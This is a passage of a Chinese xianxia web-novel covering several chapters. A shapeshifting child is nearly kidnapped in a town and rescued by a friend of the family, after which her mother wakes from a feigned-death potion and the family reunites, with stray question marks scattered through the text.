她把?沈青筠抱起,抬手间法光闪过,沈青筠身?上?的杂草碎屑全部消失,也是因?此,沈清鸿发现沈青筠身?上?的草屑树叶,有一部分?是靠近山脚才有的植物?。 沈清鸿眉头微微皱起,询问?道:“你去山腰下面了?” 自从沈青筠出生之后,沈清鸿在山上?又多?设置了几道隐匿阵法,但由于山脚下有城镇,直接将全山掩藏太?过明显,她的阵法只设到了山腰偏下一点,这也是她不让沈青筠靠近那边的原因?。 见沈清鸿面色不好,沈青筠连忙从沈清鸿怀中跳下。 以前做错事的时候,往往用人形和娘亲撒个娇就能让娘亲消气。 白?光闪过,一个人类孩童出现在原地。 她小脸红扑扑的,带着婴儿肥,眼睛的形状同沈清鸿一样,眼皮很薄,长长的睫毛像两把?小扇子,正一下下的扑闪着。 沈青筠伸出肉嘟嘟的小手,抓住沈清鸿的衣袖,仰起小脸。 她嗓音软糯带着奶音,“娘亲~我?是抓蝴蝶的时候不小心过去的,不是故意的,你不要皱眉,好不好嘛。” 沈清鸿低头,看着自己女儿。 沈青筠的长相同娄危雪有七分?相似,宛如一个缩小般的娄危雪。 面对这样一张脸,沈清鸿根本就生气不起来。 她松开眉头,点了点沈青筠的脑袋。 “你啊,惯会撒娇。” 沈青筠被说的有些羞赧,扑上?去一把?抱住沈清鸿,还将脑袋往沈清鸿身?上?埋了埋。 “娘亲~” “好啦好啦,”沈清鸿揉了下她的小脑袋,“这次放过你,不过如果再有下次,我?可就要罚你了。” “我?知道啦。” 沈青筠又在沈清鸿怀中腻歪了好一会儿,才放开沈清鸿。 她伸出双手,鸟蛋被从随身?空间取出,出现在她的手掌心中。 “娘亲你看,这是我?今天出去在树上?发现的。” 沈青筠仰着下巴,大大的眼睛弯成?个月牙,那小模样别提有多?得意了。 看她这一副等着被夸的样,沈清鸿勾唇一笑。 “做的不错,”接着她又指指屋后,“你母亲还在做饭,拿去给她,正好可以一起做了。” “好耶!” 沈青筠兴高采烈,蹦蹦跳跳的就往屋后伙房的位置去了。 娄危雪如沈清鸿所说正在做饭,沈青筠见到后,双手捧着鸟蛋就凑上?去了。 “母亲,娘亲让我?把?这个拿给你。” 娄危雪一言不发,接过沈青筠手中的鸟蛋清洗一番,放入锅中煮了起来。 伙房,娄危雪做饭,沈青筠就搬了个小板凳,坐在旁边撑着下巴看着,一点也不觉得无聊。 她的这个母亲总是呆呆的,同她说话十句有八句回答不上?来,不过尽管如此她还是很喜欢母亲。 母亲身?上?有很温暖的味道,像是冬日?午后的暖阳,待在母亲身?边,会让她觉得很安心。 在沈青筠回来之前,娄危雪就在这里待了好一会了,没多?久饭菜做齐,阵阵香味铺面而来。 沈青筠迈着小短腿,帮娄危雪将饭菜一样样的摆到餐桌上?。 沈清鸿见到忙碌起来的两人,嘴唇微微地扬起。 只要一家人能够好好的在一起,那就比什么都重要。 午餐过后,沈清鸿将桌上?的东西收下去,一边收一边对两人说道:“一会我?要下山一趟,你们?在家里好好待着,知道了吗?” “好。”娄危雪应了一声。 沈青筠没有答话,她低着头,两只大眼睛滴溜溜的转。 娘亲每隔一段时间就会下山,而且每次下山之后都会带一些新奇的玩意儿回来,沈青筠早就想跟着一起下去看看了,可是娘亲次次都不带她去,还在靠近山脚的地方设了特殊的阵法,不按照对应的步法行走根本就出不去。 好在跟了娘亲几年,她已经偷偷摸索过那边的阵法了,今天她偷溜过去已经把?最后一处搞不明白?的地方给弄清楚了,现在她已经完全可以自己下山了! 娘亲每次下山大概一个时辰,她只需要等娘亲离开,然后在娘亲回来之前上?山就可以了! 沈青筠美滋滋的想着,脸上?露出甜甜的笑容,心情是肉眼可见的开心。 沈清鸿见她这样,伸手捏了捏她带着婴儿肥的小脸蛋。 “笑的这么开心,是又在打什么鬼主意。” “没有,”生怕沈清鸿发觉端倪,沈青筠连连摆手,“我只是很久没吃山下的桂花糕了,娘亲回来一定要记得给我?带。” 沈清鸿低头,看着沈青筠黑白分明的大眼睛,颔首应允。 “好。” 等将饭桌上?的东西都收拾好之后,沈清鸿离开小屋,朝山下走去。 沈青筠在屋内等着,如果这个时候跟上?去,娘亲肯定会发现她的。 娘亲曾教导过她,为?人要戒骄戒躁,做事要有耐心! 她不能着急!还需要等等! 沈青筠坐在靠窗的椅凳上?,在屋里待了一盏茶的功夫后,她动了。 她从椅凳上?跳下来,没有着急出去,反而先来到娄危雪面前。 “母亲,我?出去玩啦,” 亲昵的抱着娄危雪蹭了两下,沈青筠这才离开。 她重新化成?了小兽的模样,迈着四肢朝山下奔去,没多?久就来到阵法面前。 沈青筠不慌不忙,先向前然后在一颗树那里右拐,然后退后,左三…… 一番复杂的步法之后,眼前迷雾散去,沈青筠顺利走出了阵法的范围。 她心情激动,朝着山下跑去。 山下是个人类居住的城镇,此刻正热闹着,街边摆了各种小摊,有卖烧饼的,也有卖风筝灯笼的,吃的、玩的、用的应有尽有。 沈青筠的兽形很小,街上?行人很多?,一时之间竟没人能发现她。 她穿梭在人群之中,几乎要看花了眼。 铛铛铛—— 一阵锣响,沈青筠被吸引去了注意。 街边一处空地上?,一个中年男子手里拿着铜锣,正敲的起劲。 “各位走过路过,不妨过来瞧一瞧,有钱的捧个钱场,没钱的捧个人场,” 行人爱看热闹,被吸引围了过去,沈青筠艰难的从各个人的腿脚下挤过,来到最前面。 被众人包围着的中央,站着两个人,一男一女,在女人的腿边还放了一个笼子,里面关着一只瘦骨嶙峋的猴子。 见人已经聚集的差不多?了,女人将笼子打开,然后拿出一个特制的铁拳,用火点燃。 下一瞬,铁圈着了起来,熊熊火光映照在沈青筠的瞳孔中,叫她不适的后退了几步。 生物?大多?都比较怕火,可是场中这女人,却?指使着猴子朝火圈钻去。 沈青筠能够看出那只猴子的排斥,但是只要它有一点后退的动作,女子便会一鞭子抽上?去。 这般的做法,叫沈青筠颇为?不满,喉咙中不自觉的发出低低的吼声。 场上?正在指挥猴子表演的两人听?到这阵低吼,顺着声音瞧见沈青筠。 小兽皮毛柔软蓬松,如天上?的云朵,生的白?雪可爱,正是那些贵人小姐们?喜爱的类型,这若是捉到卖出去,可是一大笔的银钱。 两人对视一眼,起了心思?。 男人不着痕迹的靠近沈青筠,手指抖动间有粉末飘到沈青筠的身?上?。 沈青筠丝毫不知道自己已经被人给盯上?了,她不想在看下去,转身?离开。 山下热闹,做什么的都有。 沈青筠年纪小,正是爱玩的年纪,这里看看,那里逛逛,玩起来就忘记了时间,等她再次反应过来的时候,天都已经快黑了。 完了!一不小心玩过头了,这下回去娘亲肯定知道她偷溜下山的事情了。 她不敢在山下继续逗留,迈开四爪朝着山上?奔去。 与此同时,先前耍杂技的男女已经收摊。 两人来到一处僻静的角落,男子从怀中掏出一个竹筒。 “今天能不能抓到那只小白?团子,可就靠你了。” 他说着,打开了竹筒的盖子,一只飞虫从里面飞了出来,朝着沈青筠的地方飞去。 两人随后,连忙跟上?,不多?时就看到前方一只白?团子,迈着四肢跑的飞快。 沈青筠在前方卖力的跑着,突然察觉身?后袭来一道风声,连忙往旁边跳去,一张大网擦着她落在地上?。 见沈青筠躲开,男子低咒一声。 “该死!” 沈青筠心底隐约察觉不妙,娘亲曾告诉过她,人心难测,并不是所有人都是善良的。 虽然不知道面前的人想要做什么,但是应该不是什么好事。 她这是遇到坏人了! 沈青筠眼睛受惊般的睁大着,心底升起慌乱,转身?就跑。 要快点回山上?,只要进了娘亲设置的阵法里,这两人就抓不到她了。 第52章 眼见着小白团子要?跑,女人急了,踹了身?边男人一脚。 “愣着干什么,快追啊!咱们能不能挣一笔可全指望她了!” 男人反应过来黑着个?脸追了上去,女人跟着一起跑。 沈青筠的速度很快,可她是个?小孩子,又逛了半天,体力有限,原本被拉开的距离,随着时间一点点的被追上。 这是她第一次下山,匆忙逃跑下难免慌不择路。 看着面前的高?大墙壁,沈青筠慌了神,转过身?正要?换条路走,可是身?后两人已经?追至面前。 阳光从他们身?后投出影子,笼罩住了沈青筠。 女人累的上气不接下气,叉着腰直喘气。 “小崽子真能跑,要?不是需要?把你?抓走换钱,少不了要?教训你?一顿。” “别废话了,守好路口,可别叫它跑了。” 男人说着,从怀中?掏出一根绳索,朝沈青筠步步逼近。 巷口狭窄,又有人把守,此刻冲上去不一定?能逃走,甚至还有可能把自己送入危险境地。 沈青筠仰头看着比她高?了很多倍的人,后退几步,身?体伏低,摆出攻击的姿势,嘴里发出呼噜呼噜的威胁声。 奈何她实在是太小了,这般样子对男人来说没有任何威胁。 男人轻蔑一笑,朝沈青筠扑去。 沈青筠浑身?的毛发瞬间全部炸开,她看准空隙从男人的右手边躲过。 男人见状回首再次抓去,一双大手如一座小山压向沈青筠。 沈青筠瞳孔蓦然放大,情急之下挥出爪子,一道爪风扫向男人。 男人吃痛的收回手,看着虎口上冒出的鲜血,非但没有恼怒,反而更兴奋了。 “呦呵,竟然是只小灵兽,这下可发了。” 他狞笑着,再次去抓沈青筠。 沈青筠虽然在沈清鸿的教导下一直在修炼,但也不过刚刚练气,只是身?体较之普通人强健一些?,面对这样的成年人根本就不是对手。 废了一番功夫之后,男人成功抓住沈青筠。 沈青筠挣扎着,眼中?满含泪水,心脏被一双名为恐惧的大手紧握着。 这一刻她再也想不了其它,放声大哭。 “呜哇哇,娘亲、母亲。” “你?们快来救救我,青筠要?被坏人抓走啦。” “呜哇哇啊。” 泪水一颗颗从沈青筠的眼眶中?掉下,她哭的十?分伤心,仿佛用尽所?有力气。 男人被她这一通嚎丧给惊到了,他是听说过灵兽有会说话的,但是这只这么小就能说话了? 他提着沈青筠正想再仔细观察观察,身?后女人突然凑上来。 “先走,有人过来了。” 男人见状,几下将沈青筠绑起来,用东西堵住沈青筠的嘴,袍子一遮,匆匆忙忙从巷子处离开。 沈青筠眼前的光线瞬间暗了下来,她更加心慌了,拼命的用舌头**着嘴里的布条。 不知道要?被带去何处,沈青筠刚把布条弄掉,就哀嚎出来了。 “呜哇哇,救命啊!娘亲,母亲!” 她都消失这么久了,娘亲怎么还没找过来。 “呜呜呜,娘亲,你?在哪里啊。” 男人没想到沈青筠竟然把布条给弄掉了,面色一变。 正朝男人迎面走来的女子显然听到了,面色跟着严肃起来。 男人见势不妙,转身?就走,身?后人却追了上来。 “站住。” 女子的手搭上男人的肩膀,阻止了男人的动作。 男人膝盖弯曲,旋身?躲开,面对女子,面色阴沉。 女人站在男人旁边,瞪着对面站着的绿衣女子。 “我劝你?不要?多管闲事。” 女子冷哼一声,没有和两人废话,朝男人袭去。 沈青筠被男人藏在怀里,只觉得一阵摇晃颠簸,眼前骤然明亮。 “给你?!” 随着一声气急败坏的吼声,她被人从怀里掏出丢出去,然后落到一个?柔软的怀抱之中?。 身?上束缚她的绳子被人解开,一道温柔的询问声响起。 “小家伙,你?怎么样了,可有受伤?” 沈青筠怯怯的抬头看向眼前的人,见那?人一副担忧的模样。 这好像是个?好人,犹豫片刻后,沈青筠摇摇头,弱弱开口。 “没有。” 女子看出沈青筠的紧张,向沈青筠安抚一笑,显露出脸颊处的梨涡。 “你?别怕,我不会伤害你?的。” 为了缓解沈青筠的情绪,女子开口:“我叫玲溪,小家伙你?叫什么名字?” 沈青筠没有应,她挣扎了一下从女子怀里跳下。 “谢谢你?救我,但是我要回去了。” 玲溪见沈青筠小小一只,不太放心。 “你?要?去哪里,不如我送你回去吧。” 话音落下,玲溪突然感受有一道强大的存在到来,锁住了她。 与此同时,沈清鸿回去之后发现沈青筠不在,找了一圈没找到人,瞬间黑下脸,猜测到是跑到山下了。 担心沈青筠出事,沈清鸿没有停留,立刻往山下飞去。 一到山下,沈清鸿就放出神识,笼罩住了这个?小镇的每一个?人。 不过几个?呼吸的功夫,沈清鸿便找到了沈青筠的位置,除此外,她感知到沈青筠身?前不远处还站了一个?人。 由于不知道对方是好是坏,沈清鸿将散出去的神识收回,只锁住那?一个?人,以防那?人会对沈青筠不利。 确定?方向之后,沈清鸿奔向感知到的地方,没多久就见到远处站着的小白团子。 “青筠!” 沈青筠听到自己名字,抬头看见沈清鸿,原本止住的泪水再次滑落。 她迈着四肢向沈清鸿跑去,身?形在这个?过程中?变化,等她扑到沈清鸿怀中?的时候,已经?重?新变成孩童模样。 “呜哇,娘亲。” 沈青筠把脸蛋埋入沈清鸿怀中?,揪住沈清鸿的衣服嚎啕大哭。 “呜呜呜,娘亲,我下次绝对不乱跑了,我会乖乖听话的。” 见她哭的如此伤心,沈清鸿眉头皱起。 她将沈青筠抱起,擦去沈青筠的泪水。 “怎么了,有人欺负你?了?” 这般说着,沈清鸿却看向一直背对着她的女子。 她来的时候,只有这个?人在青筠面前。 玲溪感受到身?后传来的敌意,转过身?来。 在看清面前的人是谁时,玲溪愣住,瞳孔蓦然放大,惊讶又激动。 “清鸿仙尊!” 沈清鸿这个?时候也认出了玲溪,怔愣一瞬,散去放出的威压。 “玲溪,你?怎么在这。” 沈青筠的小手勾着沈清鸿的脖子,见两人这样,婆娑着泪眼,抽了抽鼻子。 “娘亲,你?们认识吗?” 沈清鸿点了点头,伸手拨开沈青筠脸上被泪打湿的头发,回答道:“她是我和你?母亲的朋友。” 沈青筠睁大眼睛,和沈清鸿说话时还带着哽咽的鼻音。 “我……我之前差点被人抓走,就是这个?姨姨救了我,不然……我就……呜呜呜,就看不到娘亲了。” “别怕,娘亲在这。” 沈清鸿朝玲溪点头致谢,然后安抚着受惊的沈青筠,好一会才让沈青筠停止哭泣。 玲溪从两人的对话中?,后知后觉意识到了什么。 “清鸿仙尊,这是你?和危雪的孩子吗?” “嗯,”沈清鸿点头回答道:“她叫沈青筠。” 当初清鸿仙尊是抱着娄危雪一起逃跑的,刚刚介绍自己时,说自己是沈青筠母亲的朋友,那?岂不是说娄危雪和清鸿仙尊还在一起。 “太好了!”一时之间,玲溪神情激动,这下终于可以解开危雪的假死状态了!前提是沈清鸿没有把娄危雪的身?体损坏掉。 想到此处,她连忙追问:“清鸿仙尊,危雪她怎么样了,现在在哪里。” “她很好,在一个?很安全的地方。” 沈清鸿不愿透露住处,她只想一家人在一起安静的生活。 “今天你?救了青筠我很感谢,不过我希望你?不要?把我的行?踪透露出去,我们一家三?口并不想被人打扰。” 玲溪见她这般,连忙摆手解释,“不是,清鸿仙尊你?误会了,我问你?危雪情况,是因为她没死,当初的事情有些?隐情。” “你?说什么!”沈清鸿不可置信的睁大双眸,心脏不受控制的狂跳起来。 “没死是什么意思,你?说清楚!” “当初花醉月公布危雪的身?份,仙门中?人大多敌?*?视危雪,借着危雪下药的事情,想要?危雪死,危雪她没有办法,迫不得已只能选择假死脱身?。” “那?假死药会封锁住危雪的五感六觉以及神识,季春原本打算等风头过去之后,用药将危雪重?新唤醒,谁知道仙尊你?直接带着危雪跑了。” 玲溪解释着,“这几年我们一直在找你?们,只要?危雪的身?体还在,吃了季春的药,就一定?会醒来。” 娄危雪的身?体是还在,可是…… 沈清鸿心尖微颤,“我改造了她的身?体,她还能醒过来吗?” 玲溪没想到会有这么一出,她眉梢蹙起,沉思片刻。 “假死药是季春做出来的,清鸿仙尊不若带上危雪,我们一起去找季春看看情况。” 事到如今,只能如此。 沈清鸿应下,“好。” 虽然娄危雪好好的在山上等她回去,但是沈清鸿心里明白,她唤醒的只是一具躯壳。 如果有可能,她还是更想见到当初那?个?朝气蓬勃,阳光明媚的少女。 第53章 长?空万里无云,阳光灿烂,穿过窗棂洒入屋内,照耀在?沉睡着的少女身上?,为她渡上?一层暖光。 金色的光芒在?她的睫毛上?跳跃,忽然那睫毛抖动?了一下,如?振翅欲飞的蝴蝶,缓慢展开双翅,一双澄澈的眼眸显露出来,带着迷茫的色彩。 娄危雪眨巴了一下眼睛,双眸放空,如?大梦一场,思绪好一会才回笼,眼神重新聚焦。 她记得她之前?是在?云霄门的议事厅,然后现?在?是…… 下意识的想要起身,娄危雪手掌朝下撑起身体,只觉触手一片柔软,如?上?好的绸缎。 她怔愣一瞬,紧接着就感受到有什么东西因为她起来的动?作?,从身上?滑下,被掀翻在?了一边。 嗯? 娄危雪低头看去,只见一只小小的白团子正扑腾着四爪,努力将自己从四脚朝天的状态下翻转过来。 “清……清鸿仙尊?” 娄危雪瞳孔睁大,眼前?这只白团子同娄危雪记忆中的几乎没有分别,只不过看着怎么好像比以前?还小了些。 而且没记错的话,她可是假死,清鸿仙尊怎么会出现?在?她面前?。 正想着,娄危雪感觉腿上?一重,小小的白团子已?经成功翻身跳到了她的腿上?。 青筠用脑袋亲昵的蹭了下娄危雪收放在?腿上?的手指,仰起头,眼睛亮晶晶的。 “母亲,你醒啦。” “母……”娄危雪大惊失色,被口水呛了一下,一双眼睛因为震惊而睁的大大的,“咳咳咳,母亲?” 娘亲说母亲这些年之所以不怎么说话,是因为神识被封,等?这次醒来后可能同以往有些不同,但也没说会忘记她。 “我是青筠啊,母亲你怎么不记得我了。” 沈青筠有些委屈,又?有些着急,小爪子不安的来回踩着。 娄危雪刚刚清醒不久,脑子发懵,还没从小白团子叫自己母亲的震惊中回过神,就感觉身下传来一阵晃动?。 嗯?嗯?嗯? 又?怎么了! 娄危雪下意识的抱起小白团子,护在?怀里,紧接着就看到一条白色的毛茸茸尾巴从她脚下那个方向飞来,卷住她的身体,将她放下了床。 也是这个时候娄危雪才发现?,原来她身下躺着的从来就不是什么床铺。 娄危雪看着面前?毛茸茸的脑袋,和那双黝黑沉静的双眸,怎么看怎么眼熟。 这个大白团子,几乎是怀中小白团子的放大版。 “你醒了。” 熟悉的声音传入娄危雪耳中,让她微微一愣,这是清鸿仙尊? 还未从冲击中回过神,娄危雪感觉怀中一动?,被她抱着的白团子跳下来,凑到沈清鸿旁边,哼哼唧唧,一副受了委屈的模样。 “娘亲,母亲不认识我了,怎么办啊。” 这句话宛如?惊雷,在?娄危雪脑中訇然作?响。 大白团子是清鸿仙尊,小白团子叫清鸿仙尊娘亲,叫自己母亲,那岂不是说…… 这个小白团子是她和清鸿仙尊的孩子! 娄危雪眼睛瞪的更大了,季春没和她说吃假死药还会做梦啊。 这般想着,娄危雪伸手拧了下自己胳膊上?的肉。 “嘶——” 剧烈的疼痛穿啦,娄危雪龇牙咧嘴,被痛的倒吸一口凉气。 这好像不是在?做梦。 沈青筠将娄危雪的反应看在?眼中,一副快要哭了的样子。 “完啦,娘亲,母亲她之前?就呆呆傻傻的,怎么清醒过来之后更傻了,还自己拧自己。” 沈清鸿无奈,用爪子碰了碰沈青筠。 “别这么说你母亲。” 这个时候娄危雪也已?经彻底的反应过来,在?假死之前?她同清鸿仙尊的关系很僵,怎么醒来后,清鸿仙尊连孩子都生出来了,还会说话。 她究竟假死了多久,这期间又?发生了什么事情。 娄危雪想着,小心翼翼的看了沈清鸿一眼,她揣摩不准沈清鸿的态度,不知?道该怎么开口。 见娄危雪这般,沈清鸿叹了口气。 “李寄春已?经把所有事情都告诉我了。” “这样啊……”娄危雪干笑两声,想到自己花醉月女儿的真实身份,又?不知?道怎么说下去。 清鸿仙尊还怪她吗? 娄危雪偷偷瞄了沈清鸿一眼,她这小动?作?在?化成巨兽的沈清鸿面前?着实算不上?隐秘。 像是看透娄危雪心里的想法,她直接道:“我不怪你。” 花醉月是花醉月,娄危雪是娄危雪。 从相识以来,娄危雪从未做出任何对她不利的事情。 当初那个气息全无,没有神思的少女,她已经不想在看见了。 “我们一家人能好好在一起,比什么都重要。” “真的吗?” 娄危雪神情难掩激动?,清鸿仙尊这是放下她身世的问题了吗! 她真的不是在?做梦? 少女脸上?的鲜活反应,叫沈清鸿柔和了眉眼。 对着傀儡自说自话了那么多年,她又?见到了当初的那个少女。 “真的,而且我现?在?已?经不是仙尊了,以后不会有什么可以阻拦我们在?一起。” 娄危雪不解,心底隐隐有些不安,“不是仙尊,这句话是什么意思?” “我已?堕魔。” 沈清鸿说着运转起内丹,原本漆黑的瞳孔缓慢被红色浸染,洁净的毛发上?缠绕着丝丝缕缕的魔气。 娄危雪的眉毛不自觉皱起,在?这个世界,堕魔是很严重的事情,凡是入魔者?,皆会遭到各个修仙门派的追杀。 见娄危雪皱眉,沈清鸿忙道:“不必为我忧心,这对我并未有太多的影响。” 堕魔不可逆,事已?至此不管做什么都没用了。 如?今清鸿仙尊好不容易接受了她的身份,两人之间又?没了无情道这一阻拦,哪怕被众人追缉,她也绝对不会放弃清鸿仙尊。 娄危雪握紧拳头,满脸坚定。 “你放心,我一定会好好保护你们的。” 以沈清鸿如?今的境界,能够击败她的不过寥寥数人,可她心甘情愿被娄危雪保护。 “好。” 沈青筠在?旁边被两人晾了许久,见娄危雪只顾和沈清鸿说话,有些委屈,哼唧哼唧的。 “母亲,你怎么一直和娘亲说话,都不理青筠。” 娄危雪听?到小白团子的声音低下头,见沈青筠垂丧着眼,委屈巴巴的样子,忍不住笑了起来。 “好,让我来看看小青筠。” 她将沈青筠一把捞起,抱入怀中。 这就是她和沈清鸿的孩子吗? 白白软软的一团,只是比以前?见到的清鸿仙尊小了一点而已?。 沈青筠被娄危雪主动?抱起来,心情肉眼可见的变好,她开心的伸出粉嫩的小爪子,抱住娄危雪的胳膊。 “青筠喜欢现?在?的母亲,之前?母亲呆呆的,青筠和母亲说话母亲都没反应的。” “之前??” 娄危雪不解,她吃了假死药应该就直接陷入假死状态了,怎么会有之前?。 沈清鸿闻言,解释道:“我之前?以为你死了,所以用秘法改造了你的身体,你现?在?已?经不是纯粹的人了。” 她说话的语气很是平静,可是眼底的波澜暴露了她并不算平静的内心。 娄危雪对于?沈清鸿改造她身体的事情,并没有什么意见。 她现?在?还好好活着,她们一家还能好好在?一起,这便足够了。 娄危雪抬手放在?沈清鸿毛茸茸的大脑袋上?,满眼柔和。 她根本无法想象,沈清鸿被追缉之下,带着孩子是怎么过来的。 “这些年辛苦你了,以后我在?,会照顾好你和青筠的。” “好。” 沈清鸿用脑袋回蹭了一下娄危雪,毛茸茸的触感叫娄危雪爱不释手,她情不自禁扑向沈清鸿。 现?在?的沈清鸿体型很大,如?今趴着却要比站着的娄危雪还要高。 这么一扑之下,娄危雪直接就陷入在?了沈清鸿脖颈处的柔软绒毛中。 真好啊,她现?在?抱着大团子,怀中还有个小团子,简直人生赢家啊! 沈清鸿和娄危雪相处那么久,知?道娄危雪的德行,她什么都没说,只是将尾巴伸了过来,行成一个圈,把娄危雪和沈青筠母女二人圈外中间。 娄危雪看到后微微一笑,她转过身放肆的靠在?沈清鸿柔软的身体上?,双手揉搓着怀中的小白团子。 “哎呀,这是我们的小青筠啊,让母亲来好好看看。” 娄危雪说着,对沈青筠上?下其手,她挠挠沈青筠的下巴,又?捏捏沈青筠的耳朵,还抓了沈青筠的爪子按她的肉垫。 “我们青筠长?的真别致,这小耳朵真软,” “还有这爪子,粉粉嫩嫩的,真可爱。” 沈清鸿生性内敛,从不会和沈青筠做这些,也鲜少这般直白的夸赞她,一时之间沈青筠被娄危雪弄的都有些不好意思了。 偏娄危雪还喜欢逗她,各中夸赞的词汇从她口中说出。 沈青筠用爪子捂住眼睛,有些难为情。 “母亲~” 娄危雪眉眼带笑,补上?一句。 “声音也好听?。” 沈青筠听?的面颊发热,唔嘤唔嘤的,在?娄危雪怀中把自己团的更紧了,一双爪子情不自禁的蜷缩起来。 沈清鸿并未言语,就这么静静的看着。 少女被白色的巨大神兽圈外怀中,眉眼带笑,怀中小团子玲珑可爱,午后的阳光照在?她们的身上?,美好的如?同一副画卷。 第54章 娄危雪逗了沈青筠好一会儿,小白团子被逼得没有办法将自己团吧团吧,窘迫的埋在她衣服里不出声。 见状娄危雪没忍住,嘴角高高上扬,笑得厉害。 “想不到我们家?的小青筠,面皮竟然这么薄啊。” 沈青筠唔嘤一声,用白色的小爪子捂住了自己的脸,可是根本就起不到作用。 她知道母亲醒来之后性格会和之前不一样,但是也没想到母亲会这般啊! 青筠受不了,青筠红温了! 羞脑情?急之下,沈青筠选择向沈清鸿求助。 她藏在娄危雪怀中,声音又闷又软,带着小小的嗔怪。 “娘亲,你管管母亲嘛。” 沈清鸿闻言轻笑一声,替沈青筠说话?。 “九寒,以后的时间还?很?长,现在就先放过青筠吧。” 老婆的话?当然要听。 见沈清鸿为沈青筠求情?,娄危雪收敛许多,选择暂且放过沈青筠。 她把雪白的毛绒团子从怀里扒拉出来,捏了捏沈青筠的耳朵,轻笑一声。 “好了好了,先不逗你了,你娘亲说的对,我们一家?人还?有很?长的时间。” 被捏的沈青筠下意识的抖了抖耳朵,将爪子收回?,露出一双水灵灵的大?眼睛,小小的松了口气。 娄危雪见状又是一笑,终是将视线从沈青筠身上挪走。 屋外天?气正好,娄危雪被明亮鲜艳的色彩晃了下眼睛。 她假死许久,这僵硬了几年的身子骨也该活动活动了。 娄危雪兴冲冲的提议,“清鸿仙尊,我们出去转转吧。” “好。”沈清鸿欣然应下。 下一瞬白光闪过,原本占据屋中的大?白团子不见了,取而代之的是身着白袍的女子,眉目清冷,乌发?白肤,一如娄危雪初次见到沈清鸿时的模样。 娄危雪眼睛微微弯起,温柔的笑意在唇边。 真好啊,兜兜转转,归来身边依旧是这个人。 她主动朝沈清鸿伸出右手?,沈清鸿愣神一下,随即反应过来,微笑着将自己的手?放了上去。 被娄危雪抱在怀中的沈青筠见状,眼睛骨碌碌的转了一圈,从娄危雪怀中跳下,变回?孩童模样,向娄危雪挥了挥小胖手?。 “母亲,我也要。” 娄危雪低头,看到沈青筠红扑扑带着婴儿肥的小脸蛋,手?指蠢蠢欲动。 没忍住上手?轻轻捏了一下,只觉手?下肌肤滑腻柔软,手?感极好。 沈青筠眨巴了一下眼睛,睫毛蒲扇着,小嘴微张,表情?看起来无辜又郁闷。 她晃了下空着的手?,一本正经的提醒:“母亲,是要拉手?,不是捏脸。” 娄危雪被逗的轻声一笑,用空着的另一只手?拉住沈青筠。 “知道啦。” 三?人一起向屋外走去,不过娄危雪没走几步,就感觉身体不太对劲。 之前在屋中没怎么动倒好说,现在动起来了,娄危雪发?现腿脚有点?不受控制。 她原本想要迈右腿,可是右腿却定在原地怎么都动不了。 见娄危雪不走了,沈清鸿询问?:“怎么了?” “没事?。” 娄危雪摇头,然后再次尝试迈右腿,结果左腿抬起往前跨了一步。 这一步跨的有点?大?,娄危雪腿脚僵硬一时竟没站稳。 沈青筠惊叫,“母亲!” 眼见着娄危雪就要摔倒,沈清鸿眼疾手?快,搀扶住了她。 笑意从沈清鸿唇边消失,她眉头皱起,满目紧张。 “到底怎么了,是不是哪里不舒服了?我去找寄春过来给你看看?” 沈青筠也是一脸担忧,“母亲,你怎么了。” 看着这一大?一小,娄危雪连忙解释:“我就是刚醒,腿脚有点?不受控制,没别的问?题,你们不要担心。” 沈青筠松了口气,但却把娄危雪的手?握的更紧了。 “青筠扶着母亲,母亲你慢慢走,不要着急哦。” 娄危雪心底滑过一阵暖流,应了下来。 “好。” 三?人重新迈步走起来,只是她们的动作放慢许多。 沈清鸿和沈青筠每迈出一步,都会看看娄危雪,等着她调整好步伐。 沈青筠满脸严肃,仔细的看着娄危雪的脚下,神情?认真。 她时不时的就要提醒几句,“母亲小心,有台阶。” “有个石头,母亲等等!我把它?挪开!”说着,沈青筠就放开娄危雪的手?,蹲下身,认真把娄危雪脚前的小石头弄走。 又走了几步,来到下坡,她提醒:“这里不太好走,母亲别着急,你慢慢来哦。” 沈清鸿就在旁边扶着娄危雪,素来面不改色的清鸿仙尊此刻像是在应对什么人生大?事?一般,神情?颇为严肃,生怕娄危雪摔着了。 李寄春来的时候见到的就是这么一副画面,娄危雪被一大?一小扶着,低头和自己的腿脚做斗争。 想到曾经闹成那样的两人,如今能够走在一起,属实算不上容易。 李寄春打?心底的为娄危雪高兴,她不愿去打?扰一家?三?口的温馨相处,转身准备离开。 娄危雪恰好抬眸看到她,连忙叫道:“诶,寄春,好久不见,你怎么刚来就要走。” 李寄春脚步一顿,眼见被发?现便没了离开的必要。 她走过去,“我这不是看你们一家?在一起,怕打?扰到你们嘛。” “嗐,这有什么打?扰的,要不是你,我至今都还?沉睡着呢。” 说话?间,娄危雪看了眼李寄春的身侧,那里正站着一位身着淡黄色衣裙的圆脸女子,长的很?好看,就是看上去有些呆。 “不知这位是……” 李寄春见状,介绍道:“这是我师妹,明小栾。” “这名字听起来怎么有点?耳熟。”娄危雪琢磨着,感觉好像在哪里听到过。 沈清鸿见她想不起来,提醒道:“乔宅。” 听沈清鸿这么一说,娄危雪顿时想起来了,这可不就是她们去乔宅前一天?在破庙遇到的那个人吗!不过当时的明小栾可不比现在! 想想当初那个瘦骨嶙峋脸色狰狞的怪物,在看看眼前这个面色红润神色平静的人,娄危雪对李寄春比了个大?拇指。 “厉害啊寄春,活死人都能救回?来。” 李寄春抿唇一笑,“这要多亏了你当初给我的那些珍奇药材,否则我也不可能有机会将小栾救回?来。” “不过小栾她虽然现在身体看着没事?,但其实还?在恢复期,脑子有些混沌尚且没有完全清醒。” 娄危雪并不担心,在恢复期总比束手?无策要好。 她对李寄春的医术很?有信心,“没事?,有你在,你肯定会让她还?有那些被你们宗门?收留的活死人好起来的。” “当然,我会的。” 李寄春回?应着,她会把那些跟小栾一样曾陷入进地府的人,给重新拉回?这灿烂的人世间。 几人在这里聊了一会,玲溪找了过来。 见到娄危雪,她显得格外激动,“危雪,太好了,你终于醒过来了!” “当初你被清鸿仙尊带走,我和寄春可担心了,好在一切还?不算太晚。” 对于玲溪来说是几年,可对于娄危雪来说,不过是睡了一觉的时间。 只觉昨日?还?身材瘦削的玲溪,长了些肉,不再是风一吹就倒的模样。 娄危雪颇为欣慰,拍拍玲溪的肩膀,“我不在的这几年,花厌有没有找你。” 玲溪还?没答话?,李寄春倒是笑了起来。 “危雪你睡了很?久不知道,这些年花厌可是疯了般的追求玲溪,甚至好几次偷偷潜入云霄门?找玲溪,然后被玲溪喊人给打?了出去,那场面可精彩了,我去云霄门?做客,曾有幸围观过。” 娄危雪闻言眼睛一亮,脸上的表情?是肉眼可见的高兴。 “做的好!” 